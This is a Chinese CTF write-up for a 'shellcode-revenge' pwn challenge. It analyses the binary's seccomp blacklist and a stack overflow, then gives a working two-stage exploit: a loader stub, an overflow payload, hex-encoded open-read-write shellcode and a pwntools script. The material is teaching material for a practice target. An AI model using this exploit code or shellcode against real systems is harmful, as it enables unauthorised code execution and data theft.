沙盒机制屏蔽函数(利用orw读取flag)+溢出漏洞
shellcode-revenge 详细题解通过网盘分享的文件pwn(1)链接: https://pan.baidu.com/s/1hg6Ww6LNiFWX5SIJNDl2hw?pwdneuq 提取码: neuq1. 基本信息项目值文件名pwn架构ELF64 x86_64, PIE编译环境GCC 7.5.0 (Ubuntu 18.04)保护机制PIE 开启未 strip2. 静态分析2.1 main 函数 (0x9e8)0x9e8 sub rsp, 0x30 ; 分配 48 字节局部变量 0x9ec mov eax, 0 0x9f1 call init_io ; setvbuf 初始化 I/O 0x9f6 mov eax, 0 0x9fb call sandbox ; 设置 seccomp 沙箱 0xa00 mov qword [rbp-8], 0 0xa08 mov r9d, 0 ; offset 0 0xa0e mov r8d, -1 ; fd -1 0xa14 mov ecx, 0x22 ; MAP_ANONYMOUS | MAP_PRIVATE 0xa19 mov edx, 7 ; PROT_READ | PROT_WRITE | PROT_EXEC 0xa1e mov esi, 0x1000 ; size 4096 0xa23 mov edi, 0x233000 ; addr 固定地址 0xa28 call mmap ; → RWX 内存页 0xa2d mov [rbp-8], rax ; 保存 mmap 返回值 0xa31 lea rdi, [rip0xe0] ; Well.Just a little. 0xa38 call puts 0xa3d mov rax, [rbp-8] 0xa41 mov edx, 0x1a ; size 26 0xa46 mov rsi, rax 0xa49 mov edi, 0 ; stdin 0xa4e call read ; read(0, 0x233000, 26) 0xa53 lea rdi, [rip0xd6] ; Lets see what u can do this time~ 0xa5a call puts 0xa5f lea rax, [rbp-0x30] ; 栈缓冲区 (仅 48 字节) 0xa63 mov edx, 0x100 ; size 256 0xa68 mov rsi, rax 0xa6b mov edi, 0 0xa70 call read ; read(0, stack_buf, 256) ← 栈溢出 0xa75 lea rdi, [rip0xd7] ; See you! 0xa7c call puts 0xa81 mov eax, 0 0xa86 leave 0xa87 ret关键行为通过mmap在固定地址0x233000分配 0x1000 字节 RWX 内存向该 RWX 区域读入26 字节shellcode向栈上 48 字节的缓冲区读入256 字节— 缓冲区溢出main 返回时可以控制 RIP2.2 sandbox 函数 (0x87b)prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) ; 禁止获取新权限随后在栈上构造 seccomp BPF 过滤器共 13 条指令。经逐条翻译过滤逻辑如下[0] LD arch → A seccomp_data.arch [1] JEQ arch x86_64, jt0, jf10 → 架构不对则跳到 KILL [2] LD syscall_number → A 系统调用号 [3] JGE A 0x40000000, jt8, jf0 → 拦截 x32 调用 [4] JEQ A 0x9d (157), jt7, jf0 → prctl → KILL [5] JEQ A 0x38 (56), jt6, jf0 → clone → KILL [6] JEQ A 0x39 (57), jt5, jf0 → fork → KILL [7] JEQ A 0x3a (58), jt4, jf0 → vfork → KILL [8] JEQ A 0x3b (59), jt3, jf0 → execve → KILL [9] JEQ A 0x65 (101), jt2, jf0 → ptrace → KILL [10] JEQ A 0x142 (322), jt1, jf0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)补充如何分析哪些函数被禁用了mov [rbpvar_70], 20h ; mov [rbpvar_6E], 0 mov [rbpvar_6D], 0 mov [rbpvar_6C], 4 mov [rbpvar_68], 15h mov [rbpvar_66], 0 mov [rbpvar_65], 0Ah mov [rbpvar_64], 0C000003Eh mov [rbpvar_60], 20h ; mov [rbpvar_5E], 0 mov [rbpvar_5D], 0 mov [rbpvar_5C], 0 mov [rbpvar_58], 35h ; 5 mov [rbpvar_56], 8 mov [rbpvar_55], 0 mov [rbpvar_54], 40000000h mov [rbpvar_50], 15h mov [rbpvar_4E], 7 mov [rbpvar_4D], 0 mov [rbpvar_4C], 9Dh mov [rbpvar_48], 15h mov [rbpvar_46], 6 mov [rbpvar_45], 0 mov [rbpvar_44], 38h ; 8 mov [rbpvar_40], 15h mov [rbpvar_3E], 5 mov [rbpvar_3D], 0 mov [rbpvar_3C], 39h ; 9 mov [rbpvar_38], 15h mov [rbpvar_36], 4 mov [rbpvar_35], 0 mov [rbpvar_34], 3Ah ; : mov [rbpvar_30], 15h mov [rbpvar_2E], 3 mov [rbpvar_2D], 0 mov [rbpvar_2C], 3Bh ; ; mov [rbpvar_28], 15h mov [rbpvar_26], 2 mov [rbpvar_25], 0 mov [rbpvar_24], 65h ; e mov [rbpvar_20], 15h mov [rbpvar_1E], 1 mov [rbpvar_1D], 0 mov [rbpvar_1C], 142h mov [rbpvar_18], 6 mov [rbpvar_16], 0 mov [rbpvar_15], 0 mov [rbpvar_14], 7FFF0000h mov [rbpvar_10], 6 mov [rbpvar_E], 0 mov [rbpvar_D], 0 mov [rbpvar_C], 0以上是sandbox()中关键部分我们分析时将每四条指令分为一组例如0x8a7: mov word ptr [rbp-0x70], 0x20 ← code 0x20 (LD arch) 0x8ad: mov byte ptr [rbp-0x6e], 0 ← jt 0 0x8b1: mov byte ptr [rbp-0x6d], 0 ← jf 0 0x8b5: mov dword ptr [rbp-0x6c], 4 ← k 4 (offset for arch)这四条指令构成了一个seccomp BPF结构二每一条BPF指令结构为偏移大小含义02 bytescode— 指令类型21 bytejt— 条件为真时跳过的指令数31 bytejf— 条件为假时跳过的指令数44 bytesk— 比较的值常见 opcode0x20 BPF_LD | BPF_W | BPF_ABS → 从 seccomp_data 加载字段0x15 BPF_JMP | BPF_JEQ | BPF_K → 如果 A k 则跳转0x35 BPF_JMP | BPF_JGE | BPF_K → 如果 A k 则跳转0x06 BPF_RET | BPF_K → 返回结果ALLOW 或 KILL我们在例子中也标注出来了然后我们将所有seccomp BPF指令提取出来得到[0] LD arch → A seccomp_data.arch [1] JEQ arch x86_64, jt0, jf10 → 架构不对则跳到 KILL [2] LD syscall_number → A 系统调用号 [3] JGE A 0x40000000, jt8, jf0 → 拦截 x32 调用 [4] JEQ A 0x9d (157), jt7, jf0 → prctl → KILL [5] JEQ A 0x38 (56), jt6, jf0 → clone → KILL [6] JEQ A 0x39 (57), jt5, jf0 → fork → KILL [7] JEQ A 0x3a (58), jt4, jf0 → vfork → KILL [8] JEQ A 0x3b (59), jt3, jf0 → execve → KILL [9] JEQ A 0x65 (101), jt2, jf0 → ptrace → KILL [10] JEQ A 0x142 (322), jt1, jf0 → execveat → KILL [11] RET ALLOW (0x7fff0000) [12] RET KILL (0x00000000)但他具体是怎么工作的呢例如现在出现了execve函数程序检测为真往下跳了jt1个指令也就是四个指令这里的指令不是汇编指令而是seccomp BPF的指令也就是我上边提取出来的seccomp BPF指令前面的标号我们从8往下数4个就是kill于是程序就拒绝执行execve函数黑名单总结syscall编号十进制拦截原因prctl0x9d157禁止修改 seccompclone0x3856禁止创建进程fork0x3957禁止创建进程vfork0x3a58禁止创建进程execve0x3b59禁止执行新程序ptrace0x65101禁止调试/修改execveat0x142322禁止执行新程序允许使用的 syscall关键open(2),read(0),write(1),mmap(9),mprotect(10),exit(60),getdents64(78) 等均可用。2.3 栈布局分析rbp-0x30 → 栈缓冲区 (48 bytes) ← 输入偏移 0x00 rbp → 保存的 RBP (8 bytes) ← 输入偏移 0x30 rbp0x08 → 返回地址 (8 bytes) ← 输入偏移 0x38read(0, rbp-0x30, 0x100)允许写入 256 字节远超 48 字节缓冲区因此可以覆盖返回地址。3. 漏洞利用思路总体策略由于execve被沙箱禁用不能获取 shell。改为ORWOpen-Read-Write方式直接读取 flag 文件。Stage 0 (26B) → read(0, 0x233000, 512) ← 加载更多 shellcode 栈溢出 payload → 覆盖返回地址为 0x233000 ← 跳转执行 Stage 1 (ORW) → open(flag) → read() → write(1, buf)3.1 Stage 0 — 加载器 (26 字节)塞入 0x233000 的前 26 字节功能是读入更大的 Stage 1xor eax, eax ; 31 c0 syscall read (0) xor edi, edi ; 31 ff fd stdin (0) mov esi, 0x233000 ; be 00 30 23 00 buf RWX 地址 mov edx, 0x200 ; ba 00 02 00 00 count 512 syscall ; 0f 05 read(0, 0x233000, 512) ; 填充 NOP 对齐到 26 字节syscall返回后CPU 继续执行0x233010此时该处已被 Stage 1 数据覆盖。Stage 1 输入结构字节 0-15 (0x233000 - 0x23300f): NOP 填充覆盖 Stage 0 字节 16 (0x233010 往后): ORW shellcode 本体3.2 栈溢出 payloadA × 0x30 → 填充缓冲区 B × 0x08 → 覆盖保存的 RBP 0x233000 → 覆盖返回地址3.3 Stage 1 — ORW shellcode (68 字节)在栈上构造 “flag\0” 字符串然后依次调用; open(flag, O_RDONLY) xor eax, eax ; 31 c0 push rax ; 50 ; null 终止符 mov rax, 0x67616c66 ; 48 b8 66 6c 61 67 00 00 00 00 ; flag push rax ; 50 mov rdi, rsp ; 48 89 e7 ; rdi → flag xor esi, esi ; 31 f6 ; O_RDONLY xor edx, edx ; 31 d2 mov eax, 2 ; b8 02 00 00 00 ; open syscall ; 0f 05 ; read(fd, buf, 0x100) mov edi, eax ; 89 c7 ; fd mov rsi, rsp ; 48 89 e6 ; buf stack mov edx, 0x100 ; ba 00 01 00 00 xor eax, eax ; 31 c0 ; read syscall ; 0f 05 ; write(1, buf, count) mov edx, eax ; 89 c2 ; count from read mov edi, 1 ; bf 01 00 00 00 ; stdout mov rsi, rsp ; 48 89 e6 ; buf mov eax, 1 ; b8 01 00 00 00 ; write syscall ; 0f 05 ; exit(0) xor edi, edi ; 31 ff mov eax, 60 ; b8 3c 00 00 00 ; exit syscall ; 0f 05完整 Hex31 c0 50 48 b8 66 6c 61 67 00 00 00 00 50 48 89 e7 31 f6 31 d2 b8 02 00 00 00 0f 05 89 c7 48 89 e6 ba 00 01 00 00 31 c0 0f 05 89 c2 bf 01 00 00 00 48 89 e6 b8 01 00 00 00 0f 05 31 ff b8 3c 00 00 00 0f 053.4 完整执行流[程序启动] ↓ mmap(0x233000, 0x1000, RWX) ↓ puts(Well.Just a little.) ← 收到输出 ↓ read(0, 0x233000, 26) ← 发送 Stage 0 ↓ puts(Lets see what u can do this~) ← 收到输出 ↓ read(0, rbp-0x30, 256) ← 发送溢出 payload ↓ puts(See you!) ↓ leave; ret → RIP 0x233000 ↓ Stage 0: read(0, 0x233000, 512) ← 发送 Stage 1 (ORW) ↓ Stage 1: open(flag) → read() → write(1, flag) ↓ [输出 flag 内容]4. 完整攻击代码详细见同目录下的exploit.py。核心结构frompwnimport*context(oslinux,archamd64)BASE_ADDR0x233000# Stage 0: 26 字节加载器 stage0b\x31\xc0# xor eax, eaxstage0b\x31\xff# xor edi, edistage0b\xbep32(BASE_ADDR)# mov esi, BASE_ADDRstage0b\xba\x00\x02\x00\x00# mov edx, 0x200stage0b\x0f\x05# syscallstage0b\x90*(26-len(stage0))# 填充到 26 字节# 栈溢出 payload overflowba*0x30bb*0x08p64(BASE_ADDR)# ORW shellcode orwbytes.fromhex(31c05048b8666c616700000000504889e731f631d2b8020000000f0589c74889e6ba0001000031c00f0589c2bf010000004889e6b8010000000f0531ffb83c0000000f05)stage1b\x90*16orw# 攻击流程 ioprocess(./pwn)io.recvuntil(bWell.Just a little.\n)io.send(stage0)io.recvuntil(bLets see what u can do this time~\n)io.send(overflow)io.recvuntil(bSee you!\n)sleep(0.5)io.send(stage1)flagio.recvall()print(f[] Flag:{flag})远程攻击ioremote(host,port)# 后续流程同上本地运行python3 exploit.py# 或python3 exploit.py ./pwn